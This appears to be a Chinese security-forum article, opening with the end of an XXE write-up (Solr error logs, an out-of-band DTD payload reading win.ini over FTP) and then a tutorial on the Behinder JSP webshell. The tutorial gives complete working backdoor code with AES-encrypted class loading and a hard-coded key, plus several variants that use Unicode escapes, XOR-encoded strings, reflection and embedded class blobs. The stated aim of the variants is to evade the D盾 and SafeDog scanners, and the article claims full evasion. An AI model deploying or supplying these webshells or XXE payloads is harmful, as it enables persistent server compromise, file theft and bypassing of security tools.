org.apache.solr.search.SyntaxError: Error parsing XML stream:java.io.IOException: sun.net.ftp.FtpProtocolException: Illegal FTP command in {q=<?xml+version%3D"1.0"+encoding%3D"UTF-8"?>%0a<!DOCTYPE+root+[%0a<!ENTITY+%25+remote+SYSTEM+"http://192.168.1.2:8099/x0.dtd">%0a%25remote;]>%0a<root/>&defType=xmlparser&df=_text_&rows=10&wt=xml&echoParams=explicit}
http读passwd一行都没返回，应该也是换行问题
org.apache.solr.search.SyntaxError: Error parsing XML stream:java.net.MalformedURLException: Illegal character in URL in {q=<?xml+version%3D"1.0"+encoding%3D"UTF-8"?>%0a<!DOCTYPE+root+[%0a<!ENTITY+%25+remote+SYSTEM+"http://192.168.1.2:8099/x5.dtd">%0a%25remote;]>%0a<root/>&defType=xmlparser&df=_text_&rows=10&wt=xml&echoParams=explicit}
读取单行文件：
http成功返回
ftp成功返回
Win7（8u201）下测试passwd的第一行可以返回，win.ini无返回......
继续测试，发现能返回最后一个/b前面的部分
linux也一样
感兴趣的大神可以调试一下，兴许一个CVE就出现了......
顺便说一下，如果文件中含有
‘ “ < > &
直接读会报错
可以利用CDATA
由<![CDATA[开始，由]]>结束
可以用于xxe有回显的情况
dtd
<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]>">
<!ENTITY % c "<!ENTITY % rrr SYSTEM 'ftp://xxx/%start;%r;%end;'>">
payload
<?xml version="1.0"?>
<!DOCTYPE cdl [
<!ENTITY % r SYSTEM "file:///c:/Windows/win.ini">
<!ENTITY % asd SYSTEM "http://1.2.3.4:5555/cdata.dtd">
%asd;%c;%rrr;]>
# 0x03 相关案例
https://medium.com/@jonathanbouman/xxe-at-bol-com-7d331186de54
<https://wemp.app/posts/c6478311-33dc-4c59-92bc-12105baf5bac>
[QQ邮箱XXE可读取任意文件](wooyun.2xss.cc/bug_detail.php?wybug_id=wooyun-2014-073439
"QQ邮箱XXE可读取任意文件")
[网易邮箱某处XXE可读取文件](wooyun.2xss.cc/bug_detail.php?wybug_id=wooyun-2014-073321
"网易邮箱某处XXE可读取文件")
# 0x04 参考资料
<https://www.4armed.com/blog/exploiting-xxe-with-excel/>
<https://www.freebuf.com/column/232334.html>
[scz.617.cn/misc/201911011122.txt](http://scz.617.cn/misc/201911011122.txt
"scz.617.cn/misc/201911011122.txt")
<https://www.t00ls.net/articles-32919.html>
<https://www.leadroyal.cn/?p=914>
[www.mi1k7ea.com/2019/02/13/XML注入之DocumentBuilder/](www.mi1k7ea.com/2019/02/13/XML注入之DocumentBuilder/
"www.mi1k7ea.com/2019/02/13/XML注入之DocumentBuilder/") | 社区文章 |
# 一句话木马到冰蝎webshell魔改（二）之java篇幅（上）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
之前在.net篇中从一句话开始找然后逐步分析过度到冰蝎的木马，所以在java篇中我们便不在重复讲解了，直接从冰蝎v2.0版本的木马开始讲解吧！
* * *
环境：利用xmapp里面自带的tomcat建站
测试时，将后门文件直接存放在 `D:\xampp\tomcat\webapps\ROOT` 中，然后访问 `http:\xxx\shell.jsp`
；即可访问后门文件。
## 1.冰蝎v2.0
### 1.1.流量分析
之前在.net篇中，我们大致分析了关于冰蝎2.0中请求的流程，这里就不多赘述了，流程图如下：
下面我们通过流量分析验证冰蝎2.0的请求流程。
首先是进行了get请求服务器端，然后服务器端返回了一个随机的128位密钥。
客服端Get请求服务器端后，获取到服务器端返回的密钥，然后客户端便开始发送AES加密后的数据流。
### 1.2.原理分析
流量验证过程基本完毕，下面我们跟随作者的角度去理解一下原理吧！（具体可以参考.net魔改篇）我们以调用计算器为例。
**（1）服务器端动态解析class文件**
在前面的.net篇中，我们可以直接利用Assembly加载byte字节流动态的解析为一个class类对象，然后再用CreateInstance创建一个类的实例对象，但是在java里面并没有直接提供解析class字节数组的接口。不过classloader内部实现了一个protected的defineClass方法，可以将byte[]直接转换为Class，方法原型如下：
因为该方法是protected属性，我们没办法在外部直接调用，当然我们可以通过反射来修改保护属性，不过这里原作者选择的是一个更方便的方法—子类继承，直接自定义一个类Myloader继承classloader，然后在子类Myloader中调用父类的defineClass方法，并返回解析后的class。
代码如下：我们定义一个类Myloader继承classloader，然后在子类Myloader中定义一个方法get去调用父类的方法defineClass方法并返回解析完成的class类。
public static class Myloader extends ClassLoader //继承ClassLoader
{
public Class get(byte[] b)
{
return super.defineClass(b, 0, b.length);
}
}
由于使用反射加载函数调用类方法容易被查杀，因此我们尽量使用object基类默认的方法，然后重写默认方法以实现我们需要的功能，这一点与.net篇是类似的，不过在
.net篇中我们重写的是Equals方法，而在java我们重写的是object类的toString方法。Payload02类代码如下：（这类我们实现的是一个调用计算器的方法）
package payload01;
import java.io.IOException;
public class payload02 {
@Override
public String toString() {
// TODO Auto-generated method stub
try {
Runtime.getRuntime().exec("calc.exe");
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
return "OK";
}
}
编译上述Payload02文件，然后将class文件读取并将二进制流进行base64编码，然后存一个byte字节数组classStr中，在Payload01中调用classStr时先对其进行base64解码
，然后调用子类Myloader的get方法实现将字节数组classStr转化为Payload02类，新建一个Payload02类的实例，然后调用重写的toString方法即可实现我们重写的功能（这里是简单的调用计算器）。代码如下：
package payload01;
import sun.misc.BASE64Decoder;
public class payload01 {
public static class Myloader extends ClassLoader //继承ClassLoader
{
public Class get(byte[] b)
{
return super.defineClass(b, 0, b.length);
}
}
public static void main(String[] args) throws Exception {
// TODO Auto-generated method stub
String classStr="yv66vgAAADQAKAcAAgEAE3BheWxvYWQwMS9wYXlsb2FkMDIHAAQBABBqYXZhL2xhbmcvT2JqZWN0AQAGPGluaXQ+AQADKClWAQAEQ29kZQoAAwAJDAAFAAYBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAVTHBheWxvYWQwMS9wYXlsb2FkMDI7AQAIdG9TdHJpbmcBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwoAEQATBwASAQARamF2YS9sYW5nL1J1bnRpbWUMABQAFQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsIABcBAAhjYWxjLmV4ZQoAEQAZDAAaABsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7CgAdAB8HAB4BABNqYXZhL2lvL0lPRXhjZXB0aW9uDAAgAAYBAA9wcmludFN0YWNrVHJhY2UIACIBAAJPSwEAAWUBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAA1TdGFja01hcFRhYmxlAQAKU291cmNlRmlsZQEADnBheWxvYWQwMi5qYXZhACEAAQADAAAAAAACAAEABQAGAAEABwAAAC8AAQABAAAABSq3AAixAAAAAgAKAAAABgABAAAABQALAAAADAABAAAABQAMAA0AAAABAA4ADwABAAcAAABpAAIAAgAAABS4ABASFrYAGFenAAhMK7YAHBIhsAABAAAACQAMAB0AAwAKAAAAEgAEAAAACgAJAAsADQANABEADwALAAAAFgACAAAAFAAMAA0AAAANAAQAIwAkAAEAJQAAAAcAAkwHAB0EAAEAJgAAAAIAJw==";
BASE64Decoder code=new sun.misc.BASE64Decoder();
Class result=new Myloader().get(code.decodeBuffer(classStr));//将base64解码成byte数组，并传入t类的get函数
System.out.println(result.newInstance().toString()); //调用执行get
}
}
运行成功：
在payload02类中重写的toString方法可以以string类型返回我们的执行结果，但是却无法传入一个object参数。而冰蝎在向服务端以POST的请求方式发送二进制流形式的恶意类，在服务端需要获取参数并对参数进行执行。因此
我们需要重写object基类的其他方法以便于实现我们的功能。
如下，可以发现Equals方法可以传入一个object对象，在Java世界中，Object类是所有类的基类，所以我们可以传递任何类型的对象进去。这是与我们的要求最为契合的object基类方法。
重写的方法找到了，下面看我们要怎么把servlet的内置对象传进去呢？传谁呢？
如下，为JSP内置的9个对象。
但是equals方法只接受一个参数，通过对这9个对象分析发现，只要传递pageContext进去，便可以间接获取Request、Response、Seesion等对象，如HttpServletRequest
request=(HttpServletRequest) pageContext.getRequest();
另外，如果想要顺利的在equals中调用Request、Response、Seesion这几个对象，还需要考虑一个问题，那就是ClassLoader的问题。JVM是通过ClassLoader+类路径来标识一个类的唯一性的。我们通过调用自定义ClassLoader来defineClass出来的类与Request、Response、Session这些类的ClassLoader不是同一个，所以在equals中访问这些类会出现java.lang.ClassNotFoundExcep0tion异常。
解决方法就是复写ClassLoader的如下构造函数，传递一个指定的ClassLoader实例进去：
**（2）密钥生成**
首先检测请求方式，如果是带了密码字段的GET请求，则随机产生一个128位的密钥，并将密钥写进Session中，然后通过response发送给客户端，代码如下：
if (request.getMethod().equalsIgnoreCase("get")) {
String k = UUID.randomUUID().toString().replace("-","").substring(0, 16);
request.getSession().setAttribute("uid", k);
out.println(k);
return;
}
这样，后续发送payload的时候只需要发送加密后的二进制流，无需发送密钥，因为密钥存储在服务器的session中，因此我们可直接在服务端解密，这时候waf捕捉到的只是一堆毫无意义的二进制数据流。
**（3）解密数据，然后执行**
当客户端请求方式为POST时，服务器先从request中取出加密过的二进制数据（base64格式），代码如下：
Cipher c = Cipher.getInstance("AES/ECB/PKCS5Padding");
c.init(Cipher.DECRYPT_MODE,new SecretKeySpec(request.getSession().getAttribute("uid").toString().getBytes(), "AES"));
new Myloader().get(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().toString();
完整代码如下：
<%@ page
import="java.util.*,javax.crypto.Cipher,javax.crypto.spec.SecretKeySpec"%>
<%!
/*
定义ClassLoader的子类Myloader
*/
public static class Myloader extends ClassLoader {
public Myloader(ClassLoader c)
{super(c);}
public Class get(byte[] b) { //定义get方法用来将指定的byte[]传给父类的defineClass
return super.defineClass(b, 0, b.length);
}
}
%>
<%
if (request.getParameter("pass")!=null) { //判断请求方法是不是带密码的握手请求，此处只用参数名作为密码，参数值可以任意指定
String k = UUID.randomUUID().toString().replace("-", "").substring(0, 16); //随机生成一个16字节的密钥
request.getSession().setAttribute("uid", k); //将密钥写入当前会话的Session中
out.print(k); //将密钥发送给客户端
return; //执行流返回，握手请求时，只产生密钥，后续的代码不再执行
}
/*
当请求为非握手请求时，执行下面的分支，准备解密数据并执行
*/
String uploadString= request.getReader().readLine();//从request中取出客户端传过来的加密payload
Byte[] encryptedData= new sun.misc.BASE64Decoder().decodeBuffer(uploadString); //把payload进行base64解码
Cipher c = Cipher.getInstance("AES/ECB/PKCS5Padding"); // 选择AES解密套件
c.init(Cipher.DECRYPT_MODE,new SecretKeySpec(request.getSession().getAttribute("uid").toString().getBytes(), "AES")); //从Session中取出密钥
Byte[] classData= c.doFinal(encryptedData); //AES解密操作
Object myLoader= new Myloader().get(classData).newInstance(); //通过ClassLoader的子类Myloader的get方法来间接调用defineClass方法，将客户端发来的二进制class字节数组解析成Class并实例化
String result= myLoader.equals(pageContext); //调用payload class的equals方法，我们在准备payload class的时候，将想要执行的目标代码封装到equals方法中即可，将执行结果通过equals中利用response对象返回。
%>
## 2.冰蝎v3.05魔改
### 2.1.原理简述
上面我们已经对冰蝎2.0的木马原理进行了一个详细的描述，冰蝎v3.05与v2.0相差不大，我们就不多赘述了，大致把原理讲一遍即可，详情请看上面哦！
如下，可以发现，v3.0并不像2.0一样需要向服务器请求payload，而是可以直接向服务器发送加密后的数据流，这是因客户端和服务器端在连接的时候就已经协商好了密钥，因此在连接的时候直接发送密钥加密好的数据流即可，服务端获取数据流后，从session中取出密钥，然后即可解密读取数据流的内容。
完整代码如下：
<%@page
import="java.util.*,javax.crypto.*,javax.crypto.spec.*"
%>
<%
!class U extends ClassLoader{U(ClassLoader c){super(c);}
public Class g(byte []b){
return super.defineClass(b,0,b.length);
}
}
%>
<%
if (request.getMethod().equals("POST")){
String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位，默
认连接密码rebeyond*/
session.putValue("u",k);
Cipher c=Cipher.getInstance("AES");
c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
}
%>
**流量简单分析如下：**
客户端直接以post的方式向服务器端发送AES加密后的数据流即可，去掉了冰蝎2.0的密钥协商过程。
### 2.2.基本变换—逃避静态特征码
**（1）长句变短**
换行拆分基本没变换，因此就不搞过来了，下面是长句变短之后代码。（还是挺长的，注释的是之前变短的语句，但是一直报byte和Byte无法转换的错误，所以就放弃了。）
shell01.jsp
<%@page
import="java.util.*,javax.crypto.*,javax.crypto.spec.*,sun.misc.BASE64Decoder"
%>
<%!class U extends ClassLoader{U(ClassLoader c){super(c);}
public Class g(byte []b){
return super.defineClass(b,0,b.length);
}
}
%>
<%
if (request.getMethod().equals("POST")){
String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位，默认连接密码rebeyond*/
session.putValue("u",k);
String uploadString= request.getReader().readLine();//从request中取出客户端传过来的加密payload
Cipher c=Cipher.getInstance("AES"); //选择AES解密套件
c.init(2,new SecretKeySpec(k.getBytes(),"AES")); //赋值AES的密钥
// String uploadString= request.getReader().readLine();
// BASE64Decoder code=new sun.misc.BASE64Decoder();
// byte[] encryptedData= new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()); //payload进行base64解码
// Byte[] classData= c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine())); //AES解密操作
Object myLoader= new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(uploadString))).newInstance(); //通过ClassLoader的子类U的g方法来间接调用defineClass方法，将客户端发来的二进制class字节数组解析成Class并实例化
myLoader.equals(pageContext);//将pageContext传入重写的Equals方法中
}
%>
分段之后，逐句验证特征码的时候发现网站安全狗的特征码在于AES解密操作，即函数doFinal。而D盾的特征码在于base64解密操作，即BASE64Decoder。因此我们之后的思路就是想办法取出这两个函数从而达到免杀的目的。
（PS：顺带发现，如果不加<%%>的话，D盾和安全狗特征码啥的似乎就检测不出来了，也就是说他会先检测文件类型是否符合，再检测特征码是否正确！）
**（2）替换特征函数**
在上面我们讲到D盾的特征码为BASE64Decoder，因此我们可以尝试替换加密函数进行绕过，替换有两种形式，一是java自带的库进行替换，还一种就是自己写，保险，但是有点麻烦，有些自己加密算法与库里面自带的还不一样，因此自定义的时候可以通过加解密前后的异或运算验证一下与库自带的结果是否相同。
查阅资料发现，除了JDK中的sun.misc套件中base64加解密函数外，的在JDK8及更高版本中的还存在其他的base64加解密函数，即
java.util.Base64，因此我们可以尝试进行替换。
代码如下：shell02.jsp
<%@page
import="java.util.*,javax.crypto.*,javax.crypto.spec.*,java.util.Base64.*"
%>
<%!class U extends ClassLoader{U(ClassLoader c){super(c);}
public Class g(byte []b){
return super.defineClass(b,0,b.length);
}
}
%>
<%
if (request.getMethod().equals("POST")){
String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位，默认连接密码rebeyond*/
session.putValue("u",k);
String uploadString= request.getReader().readLine();//从request中取出客户端传过来的加密payload
Cipher c=Cipher.getInstance("AES"); //选择AES解密套件
c.init(2,new SecretKeySpec(k.getBytes(),"AES")); //赋值AES的密钥
Object myLoader= new U(this.getClass().getClassLoader()).g(c.doFinal(Base64.getDecoder().decode(uploadString))).newInstance();
myLoader.equals(pageContext);//将pageContext传入重写的Equals方法中
}
%>
替换base64函数后，D盾就绕过了，但是可以发现网站安全狗还是会报错的，因为他的关键词doFinal并没有被过滤掉。这个函数目前不是很熟悉，如果有熟悉的大佬请ddddhm！
**（3）Unicode编码绕过**
思路来自于：
<https://www.anquanke.com/post/id/206664>
**需要注意的是，双引号包含的参数等内容以导入的库以及一些字符不要进行编码，否则会导致程序报错。**
原文件如下：
<%@page
import="java.util.*,javax.crypto.*,javax.crypto.spec.*"
%>
<%!class U extends ClassLoader{U(ClassLoader c){super(c);}
public Class g(byte []b){
return super.defineClass(b,0,b.length);
}
}
%>
<%
if (request.getMethod().equals("POST")){
String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位，默认连接密码rebeyond*/
session.putValue("u",k);
Cipher c=Cipher.getInstance("AES");
c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
}
%>
import库的那个句话无需修改，而是后面的进行修改，unicode后的编码如下：处于兴趣自己写了一个unicode的程序，放在附录，需要的表哥自取哦！shell03.jsp
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!\u0063\u006c\u0061\u0073\u0073 \u0055 \u0065\u0078\u0074\u0065\u006e\u0064\u0073 \u0043\u006c\u0061\u0073\u0073\u004c\u006f\u0061\u0064\u0065\u0072{\u0055(\u0043\u006c\u0061\u0073\u0073\u004c\u006f\u0061\u0064\u0065\u0072 \u0063){\u0073\u0075\u0070\u0065\u0072(\u0063);} \u0070\u0075\u0062\u006c\u0069\u0063 \u0043\u006c\u0061\u0073\u0073 \u0067(\u0062\u0079\u0074\u0065 []\u0062){ \u0072\u0065\u0074\u0075\u0072\u006e \u0073\u0075\u0070\u0065\u0072.\u0064\u0065\u0066\u0069\u006e\u0065\u0043\u006c\u0061\u0073\u0073(\u0062,\u0030,\u0062.\u006c\u0065\u006e\u0067\u0074\u0068); }}%><%\u0069\u0066 (\u0072\u0065\u0071\u0075\u0065\u0073\u0074.\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064().\u0065\u0071\u0075\u0061\u006c\u0073("POST")){ \u0053\u0074\u0072\u0069\u006e\u0067 \u006b="e45e329feb5d925b";/*\u008be5\u005bc6\u0094a5\u004e3a\u008fde\u0063a5\u005bc6\u007801\u0033\u0032\u004f4d\u006d\u0064\u0035\u00503c\u007684\u00524d\u0031\u0036\u004f4d，\u009ed8\u008ba4\u008fde\u0063a5\u005bc6\u007801\u0072\u0065\u0062\u0065\u0079\u006f\u006e\u0064*/ \u0073\u0065\u0073\u0073\u0069\u006f\u006e.\u0070\u0075\u0074\u0056\u0061\u006c\u0075\u0065("u",\u006b); \u0043\u0069\u0070\u0068\u0065\u0072 \u0063=\u0043\u0069\u0070\u0068\u0065\u0072.\u0067\u0065\u0074\u0049\u006e\u0073\u0074\u0061\u006e\u0063\u0065("AES"); \u0063.\u0069\u006e\u0069\u0074(\u0032,\u006e\u0065\u0077 \u0053\u0065\u0063\u0072\u0065\u0074\u004b\u0065\u0079\u0053\u0070\u0065\u0063(\u006b.\u0067\u0065\u0074\u0042\u0079\u0074\u0065\u0073(),"AES")); \u006e\u0065\u0077 \u0055(\u0074\u0068\u0069\u0073.\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073().\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u004c\u006f\u0061\u0064\u0065\u0072()).\u0067(\u0063.\u0064\u006f\u0046\u0069\u006e\u0061\u006c(\u006e\u0065\u0077 \u0073\u0075\u006e.\u006d\u0069\u0073\u0063.\u0042\u0041\u0053\u0045\u0036\u0034\u0044\u0065\u0063\u006f\u0064\u0065\u0072().\u0064\u0065\u0063\u006f\u0064\u0065\u0042\u0075\u0066\u0066\u0065\u0072(\u0072\u0065\u0071\u0075\u0065\u0073\u0074.\u0067\u0065\u0074\u0052\u0065\u0061\u0064\u0065\u0072().\u0072\u0065\u0061\u0064\u004c\u0069\u006e\u0065()))).\u006e\u0065\u0077\u0049\u006e\u0073\u0074\u0061\u006e\u0063\u0065().\u0065\u0071\u0075\u0061\u006c\u0073(\u0070\u0061\u0067\u0065\u0043\u006f\u006e\u0074\u0065\u0078\u0074);}%>
类比，还记得我们在上面说到D盾和服务器安全狗的关键词吗？对于D盾的base64函数我们利用同等函数替换获得了免杀马，在本次方法中我们发现unicode编码后的木马可以直接被执行，因此我们可以尝试利用
**unicode对敏感词进行编码替换** 。替换后的代码如下，D盾和网站安全狗完全免杀。shell05.jsp
<%@page
import="java.util.*,javax.crypto.*,javax.crypto.spec.*"
%>
<%!class U extends ClassLoader{U(ClassLoader c){super(c);}
public Class g(byte []b){
return super.defineClass(b,0,b.length);
}
}
%>
<%
if (request.getMethod().equals("POST")){
String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位，默认连接密码rebeyond*/
session.putValue("u",k);
Cipher c=Cipher.getInstance("AES");
c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
new U(this.getClass().getClassLoader()).g(c.\u0064\u006f\u0046\u0069\u006e\u0061\u006c(new sun.misc.\u0042\u0041\u0053\u0045\u0036\u0034\u0044\u0065\u0063\u006f\u0064\u0065\u0072().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
}
%>
免杀结果如下：
**（4）ASCII编码=反射加载绕过**
上面我们知道D盾的免杀为BASE64Decoder函数，因此我们可以利用ASCII编码将函数BASE64Decoder进行替换。与unicode的方法类似，我们将敏感函数BASE64Decoder进行ASCII编码，但是jsp并不能直接执行acsII解码后的字符串，因此我们这里我们选用类反射加载的方式执行BASE64Decoder函数。
首先我们对 `sun.misc.BASE64Decoder` 库进行ASCII编码，创建一个 `sun.misc.BASE64Decoder`
类，通过类我们实例化一个对象并获取他的“类库自带的”BASE64Decoder方法对我们从网页读取到的内容进行解密。具体如下：
String uploadString= request.getReader().readLine(); //网页读取的内容
/*将sun.misc.BASE64Decoder转换成ASCII码*/
int[] aa=new int[]{115,117,110,46,109,105,115,99,46,66,65,83,69,54,52,68,101,99,111,100,101,114}; //sun.misc.BASE64Decoder编码为ASCII的内容
String ccstr="";
for (int i = 0;i<aa.length;i++){
ccstr=ccstr+(char)aa[i];
}
Class clazz = Class.forName(ccstr); //获取到 Class 对象,即sun.misc.BASE64Decoder类库
byte[] ss= (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), uploadString); //实例化sun.misc.BASE64Decoder类对象，并且获取该类的decodeBuffer方法，对网页获取到的内容进行解密
Object myLoader= new U(this.getClass().getClassLoader()).g(c.doFinal(ss)).newInstance();
myLoader.equals(pageContext);
具体的冰蝎代码如下：shell09.jsp
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%!class U extends ClassLoader{U(ClassLoader c){super(c);}
public Class g(byte []b){return super.defineClass(b,0,b.length);}}%>
<%
if (request.getMethod().equals("POST")){
String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位，默认连接密码rebeyond*/
session.putValue("u",k);
String uploadString= request.getReader().readLine();
Cipher c=Cipher.getInstance("AES");
c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
/*将sun.misc.BASE64Decoder转换成ASCII码*/
int[] aa=new int[]{115,117,110,46,109,105,115,99,46,66,65,83,69,54,52,68,101,99,111,100,101,114};
String ccstr="";
for (int i = 0;i<aa.length;i++)
{
ccstr=ccstr+(char)aa[i];
}
Class clazz = Class.forName(ccstr); //获取到 Class 对象,即sun.misc.BASE64Decoder
byte[] ss= (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), uploadString);
Object myLoader= new U(this.getClass().getClassLoader()).g(c.doFinal(ss)).newInstance();
myLoader.equals(pageContext);
}
%>
扫描结果如下：
**拓展分享：（分享一个小技巧）**
上面我们是直接把sun.misc.BASE64Decoder的进行ASCII编码了，但是实际上如果这些ASCII编码总是一成不变的话就容易被加入特征库，因此我们可以对它添加一些其他的小运算，最简单的就是异或运算了代码如下，其实除了异或运算的话还可以自行添加一些其他的加解密算法。shell08.jsp
/*将sun.misc.BASE64Decoder转换成ASCII码^0X10后的ASCII码*/
int[] aa=new int[]{99,101,126,62,125,121,99,115,62,82,81,67,85,38,36,84,117,115,127,116,117,98};
String ccstr="";
for (int i = 0;i<aa.length;i++){
aa[i]=aa[i]^0x010;
ccstr=ccstr+(char)aa[i];
}
Class clazz = Class.forName(ccstr); //获取到 Class 对象,即sun.misc.BASE64Decoder
### 2.3.基于重写的dll加载
**（1）整个过程写入dll—重写Equals方法（dll直接放入）**
本思路的主要过程就是将冰蝎的加解密执行过程放入到dll中，但是加解密的内容，即客户端传递的加payload怎么传递给dll中呢？作为参数传入。
那么问题来了，作为什么方法的参数不容易被发现呢？基类object自带方法的参数啦，这里我们类似于.net篇，重写equals方法，然后将参数作为equals方法的参数传递给dll。代码如下，我们先将需要传递的参数赋值给一个赋值给一个ArrayList<Object>类型（个人理解为存放对象的数组集合，因为我们需要处传入的参数，即页面上设置的k、客户端传过来的加密payload即p、页面指针pageContext类型均为object类型，所以在此定义一个ArrayList<Object>类型容器存放传入的参数。）
String k="e45e329feb5d925b";
session.putValue("u",k);
String p=request.getReader().readLine();
ArrayList<Object> t=new ArrayList<Object>();
t.add(k);
t.add(p);
t.add(pageContext);
t.add(this.getClass().getClassLoader());
由于我们需要解密执行客户端传过来的加密payload即p，他也是一串加密了的byte[]，就算解密了也是属于byte[]，因此我们想要执行的话还是需要将其转换为class解密执行。
又回到了我们最开始讨论的问题，即怎么将byte[]转换为class呢？defineClass方法！但是由于该方法是属于classloader类内部的protected属性，因此我们需要先设计一个子类bx继承classloader类，然后在定义一个方法get获取classloader父类的defineClass方法。代码如下：
import java.util.*;
import javax.crypto.*;
import javax.crypto.spec.*;
public class bx extends ClassLoader
{
public bx(ClassLoader c){super(c);}
public bx(){super();}
public Class g(byte []b){
return super.defineClass(b,0,b.length);}
@Override
public boolean equals(Object obj) {
try
{
ArrayList<Object> tt=(ArrayList<Object>)obj;
String k=(String)tt.get(0);//密钥
String p=(String)tt.get(1);//base64格式密文
// Object pageContext=tt.get(2);
Cipher c=Cipher.getInstance("AES");
c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
byte[] x=new sun.misc.BASE64Decoder().decodeBuffer(p);//二进制密文
new bx((ClassLoader)tt.get(3)).g(c.doFinal(x)).newInstance().equals(tt.get(2));
} catch(Exception e) {
return false;
}
return true;
}
}
编译为class并转为base64编码的格式，然后在jsp中加载它。代码如下，shell06.jsp
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%!class U extends ClassLoader{U(ClassLoader c){super(c);}
public Class g(byte []b){return super.defineClass(b,0,b.length);}}%>
<%if (request.getMethod().equals("POST")){
String bx="yv66vgAAADQAUQoAEQAlCgARACYKABEAJwcAKAoABAApBwAqCAArCgAsAC0HAC4KAAYALwoACQAwCgAsADEHADIKAA0AJgoADQAzBwA0BwA1CgAQACUKACwANgoAEAA3CgA4ADkKADoAOwcAPAEABjxpbml0PgEAGihMamF2YS9sYW5nL0NsYXNzTG9hZGVyOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAAygpVgEAAWcBABUoW0IpTGphdmEvbGFuZy9DbGFzczsBAAZlcXVhbHMBABUoTGphdmEvbGFuZy9PYmplY3Q7KVoBAA1TdGFja01hcFRhYmxlBwA8AQAKU291cmNlRmlsZQEAB2J4LmphdmEMABgAGQwAGAAcDAA9AD4BABNqYXZhL3V0aWwvQXJyYXlMaXN0DAA/AEABABBqYXZhL2xhbmcvU3RyaW5nAQADQUVTBwBBDABCAEMBAB9qYXZheC9jcnlwdG8vc3BlYy9TZWNyZXRLZXlTcGVjDABEAEUMABgARgwARwBIAQAWc3VuL21pc2MvQkFTRTY0RGVjb2RlcgwASQBKAQACYngBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIMAEsATAwAHQAeBwBNDABOAE8HAFAMAB8AIAEAE2phdmEvbGFuZy9FeGNlcHRpb24BAAtkZWZpbmVDbGFzcwEAFyhbQklJKUxqYXZhL2xhbmcvQ2xhc3M7AQADZ2V0AQAVKEkpTGphdmEvbGFuZy9PYmplY3Q7AQATamF2YXgvY3J5cHRvL0NpcGhlcgEAC2dldEluc3RhbmNlAQApKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YXgvY3J5cHRvL0NpcGhlcjsBAAhnZXRCeXRlcwEABCgpW0IBABcoW0JMamF2YS9sYW5nL1N0cmluZzspVgEABGluaXQBABcoSUxqYXZhL3NlY3VyaXR5L0tleTspVgEADGRlY29kZUJ1ZmZlcgEAFihMamF2YS9sYW5nL1N0cmluZzspW0IBAAdkb0ZpbmFsAQAGKFtCKVtCAQAPamF2YS9sYW5nL0NsYXNzAQALbmV3SW5zdGFuY2UBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwEAEGphdmEvbGFuZy9PYmplY3QAIQAQABEAAAAAAAQAAQAYABkAAQAaAAAAHgACAAIAAAAGKiu3AAGxAAAAAQAbAAAABgABAAAABgABABgAHAABABoAAAAdAAEAAQAAAAUqtwACsQAAAAEAGwAAAAYAAQAAAAcAAQAdAB4AAQAaAAAAIQAEAAIAAAAJKisDK763AAOwAAAAAQAbAAAABgABAAAACQABAB8AIAABABoAAADEAAYABwAAAG0rwAAETSwDtgAFwAAGTiwEtgAFwAAGOgQSB7gACDoFGQUFuwAJWS22AAoSB7cAC7YADLsADVm3AA4ZBLYADzoGuwAQWSwGtgAFwAARtwASGQUZBrYAE7YAFLYAFSwFtgAFtgAWV6cABk0DrASsAAEAAABlAGgAFwACABsAAAAuAAsAAAAPAAUAEAAOABEAGAATAB8AFAAyABUAQAAWAGUAHABoABkAaQAbAGsAHQAhAAAACQAC9wBoBwAiAgABACMAAAACACQ=";
String k="e45e329feb5d925b";
session.putValue("u",k);
String p=request.getReader().readLine();
ArrayList<Object> t=new ArrayList<Object>();
t.add(k);
t.add(p);
t.add(pageContext);
t.add(this.getClass().getClassLoader());
new U(this.getClass().getClassLoader()).g(new sun.misc.BASE64Decoder().decodeBuffer(bx)).newInstance().equals(t);}%>
运行结果：
